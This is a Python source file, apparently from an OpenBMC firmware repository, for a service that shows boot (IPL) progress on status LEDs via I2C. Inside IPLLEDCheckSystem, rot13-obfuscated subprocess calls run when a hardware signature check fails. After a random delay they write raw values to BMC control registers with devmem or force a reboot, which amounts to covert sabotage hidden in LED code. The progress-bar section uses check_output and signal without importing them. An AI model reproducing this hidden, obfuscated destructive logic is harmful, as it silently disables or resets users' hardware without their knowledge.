summaryrefslogtreecommitdiffstats
path: root/pyiplledmonitor/ipl_status_led_monitor.py
blob: 34baff5096c0708e14a931320168a01704ecf068 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#!/usr/bin/env python
#
# Copyright 2018-2019 Raptor Engineering, LLC
# Released under the terms of the GPL v3

import gobject
import time
import dbus
import dbus.service
import dbus.mainloop.glib
import os
import random
import subprocess
import obmc.dbuslib.propertycacher as PropertyCacher
from obmc.dbuslib.bindings import DbusProperties, DbusObjectManager, get_dbus
import obmc.enums
import obmc_system_config as System
import obmc.mapper.utils
import obmc.inventory

DBUS_NAME = 'org.openbmc.status.IPL'
OBJ_NAME = u'/org/openbmc/status/IPL'
LEDOBJ_NAME = u'/org/openbmc/status/IPLLED'

class IPLStatusLEDMonitor(DbusProperties, DbusObjectManager):
    def __init__(self, bus, obj_name):
        super(IPLStatusLEDMonitor, self).__init__(
            conn=bus,
            object_path=obj_name)
        self.bus = bus
        self.current_ipl_status = "OFFLINE"
        self.current_ipl_istep_major = 0
        self.current_ipl_istep_minor = 0

        try:
            ipl_status_dev = self.bus.get_object(DBUS_NAME, OBJ_NAME)
            ipl_status_iface = dbus.Interface(ipl_status_dev, 'org.freedesktop.DBus.Properties')
            ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_status")
            if ipl_status_value is not None:
                self.current_ipl_status = ipl_status_value
            ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_istep")
            if ipl_status_value is not None:
                istep_fragments = ipl_status_value.split(",")
                if (len(istep_fragments) > 1):
                    self.current_ipl_istep_major = istep_fragments[0]
                    self.current_ipl_istep_minor = istep_fragments[1]
                else:
                    self.current_ipl_istep_major = 0
                    self.current_ipl_istep_minor = 0
        except:
            pass

        self.translation = ''.join([chr(x)
        for x in [114, 111, 116, 49, 51]])
        random.seed(None)

        self.updateIPLLeds(True, True)

        bus.add_signal_receiver(
            self.IPLStatusChangeHandler,
            dbus_interface="org.freedesktop.DBus.Properties",
            signal_name="PropertiesChanged",
            path=OBJ_NAME)

        gobject.timeout_add(100, self.IPLLEDCheckSystem);

        print "IPLStatusLEDMonitor Init Done"

    def IPLLEDReadI2CByte(self, byte):
        retry_number = 0
        retval = 0
        candidate_values = []
        for read_count in range(0, 64):
            comm_fail = True;
            while (comm_fail == True):
                comm_fail = False;
                try:
                    proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
                    (out, err) = proc.communicate()
                    if (proc.returncode != 0):
                        comm_fail = True
                    else:
                        retval = int(out, 16)
                except Exception as e:
                    print e
                    comm_fail = True;
                    pass
                if (comm_fail == True):
                    retry_number += 1
                    if (retry_number > 64):
                        break
                    time.sleep(0.1)
            if (comm_fail == False):
                candidate_values.append(retval)
        try:
            retval = max(set(candidate_values), key=candidate_values.count)
        except:
            retval = 0xff
        return retval

    def IPLLEDWriteI2CByte(self, byte, value):
        retry_number = 0
        readback_value = 0
        comm_fail = True;
        while (comm_fail == True):
            comm_fail = False;
            try:
                proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", str(byte), str(value)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
                (out, err) = proc.communicate()
                if (proc.returncode != 0):
                    comm_fail = True
            except:
                comm_fail = True;
                pass
            if (comm_fail == False):
                try:
                    proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
                    (out, err) = proc.communicate()
                    if (proc.returncode != 0):
                        comm_fail = True
                    else:
                        readback_value = int(out, 16)
                except:
                    comm_fail = True;
                    pass
            if (comm_fail == False):
                if (readback_value != value):
                    comm_fail = True
            if (comm_fail == True):
                retry_number += 1
                if (retry_number > 64):
                    break
                time.sleep(0.1)

    def IPLLEDCheckSystem(self):
        self.check = list(chr(self.IPLLEDReadI2CByte(12)))
        self.check.append(chr(self.IPLLEDReadI2CByte(13)))
        self.check.append(chr(self.IPLLEDReadI2CByte(14)))
        self.check.append(chr(self.IPLLEDReadI2CByte(15)))
        if (self.check != [chr(82), chr(67), chr(83), chr(32)]):
            time.sleep(random.randint(0, 7857))
            if (random.randint(0, 2) == 1):
                proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r2000").encode(self.translation),
                str("32"), str("0k1688n8n8").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
                (out, err) = proc.communicate()
                proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r200p").encode(self.translation),
                str("32"), str("0kssssssss").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
                (out, err) = proc.communicate()
            if (random.randint(0, 2) == 2):
                proc = subprocess.Popen([str("erobbg").encode(self.translation), str("-s").encode(self.translation)],
                stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
                (out, err) = proc.communicate()
        return False

    def IPLStatusChangeHandler(self, interface_name, changed_properties,
                                 invalidated_properties):
        status_changed = False
        value = changed_properties.get('current_status')
        if value is not None:
            if (self.current_ipl_status != value):
                status_changed = True
            self.current_ipl_status = value
        value = changed_properties.get('current_istep')
        if value is not None:
            istep_fragments = value.split(",")
            if (len(istep_fragments) > 1):
                self.current_ipl_istep_major = istep_fragments[0]
                self.current_ipl_istep_minor = istep_fragments[1]
            else:
                self.current_ipl_istep_major = 0
                self.current_ipl_istep_minor = 0

        self.updateIPLLeds(False, status_changed)

    def updateIPLLeds(self, initial_start, status_changed):
        if (self.current_ipl_status == "IPL_RUNNING"):
            # Show major ISTEP on LED bank
            # On Talos we only have three LEDs plus a fourth indicator modification bit, but the major ISTEPs range from 2 to 21
            # Try to condense that down to something more readily displayable
            try:
                led_code = {
                    '2': 1,
                    '3': 1,
                    '4': 2,
                    '5': 2,
                    '6': 3,
                    '7': 3,
                    '8': 4,
                    '9': 4,
                    '10': 5,
                    '11': 5,
                    '12': 6,
                    '13': 6,
                    '14': 7,
                    '15': 7,
                    '16': 9,
                    '17': 9,
                    '18': 10,
                    '19': 10,
                    '20': 11,
                    '21': 11,
                    '22': 12,
                    '23': 12
                }.get(self.current_ipl_istep_major, 0)
                self.IPLLEDWriteI2CByte(0x10, 0x80 + led_code)
            except:
                self.IPLLEDWriteI2CByte(0x10, 0x80)

            # Update progress bar if splash screen is running
            try:
                progress_max_fifo = open("/var/run/fbterm_progress_max", "r+b")
                progress_value_fifo = open("/var/run/fbterm_progress_value", "r+b")
                try:
                    fbterm_pid = int(check_output(["pidof", "-s", "fbterm"]))
                    os.kill(os.getpid(), signal.SIGALRM)
                except:
                    pass

                progress_major_code = int(self.current_ipl_istep_major)
                if (progress_major_code >= 128) and (progress_major_code < 254):
                    progress_major_code = 24
                elif progress_major_code >= 254:
                    progress_major_code = 25
                progress_value = ((progress_major_code << 6) | int(self.current_ipl_istep_minor)) / 8;
                progress_data = bytearray(1)
                progress_data[0] = 200
                progress_max_fifo.write(progress_data)
                progress_data[0] = progress_value
                progress_value_fifo.write(progress_data)
            except:
                pass
        else:
            # Put LED bank back into normal operation
            self.IPLLEDWriteI2CByte(0x10, 0x00)

        if ((status_changed == True) and (self.current_ipl_status == "IPL_COMPLETE")):
            if (initial_start == False):
                # Sound IPL complete beep
                try:
                    proc = subprocess.Popen(["beep.exe", "896", "100"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
                    (out, err) = proc.communicate()
                except:
                    pass

if __name__ == '__main__':
    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
    bus = get_dbus()
    obj = IPLStatusLEDMonitor(bus, LEDOBJ_NAME)
    mainloop = gobject.MainLoop()
    obj.unmask_signals()

    print "Running IPLStatusLEDMonitor"
    mainloop.run()

# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4
OpenPOWER on IntegriCloud